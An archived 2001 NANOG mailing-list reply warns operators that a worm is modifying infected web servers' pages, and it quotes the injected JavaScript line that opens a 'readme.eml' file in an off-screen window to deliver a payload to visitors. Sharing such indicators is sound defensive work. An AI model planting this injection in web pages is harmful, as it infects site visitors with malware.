[42590] in North American Network Operators' Group
RE: Worm probes
daemon@ATHENA.MIT.EDU (Mark Radabaugh - Amplex)
Tue Sep 18 11:53:46 2001
From: "Mark Radabaugh - Amplex" <mark@amplex.net>
To: <nanog@merit.edu>
Date: Tue, 18 Sep 2001 11:48:55 -0400
Message-ID: <GCEEKJFMELAOEDFALPMNIEAEDGAA.mark@amplex.net>
In-Reply-To: <20010918113528.V48799@happy.cow.org>
Errors-To: owner-nanog-outgoing@merit.edu
This is new - it modifies the web pages of the infected machine to
include a (I assume) virus. It adds this string to the web page:
<html><script language="JavaScript">window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")</script></html>
Viewing infected web servers may be dangerous.
Mark Radabaugh
Amplex
(419) 833-3635
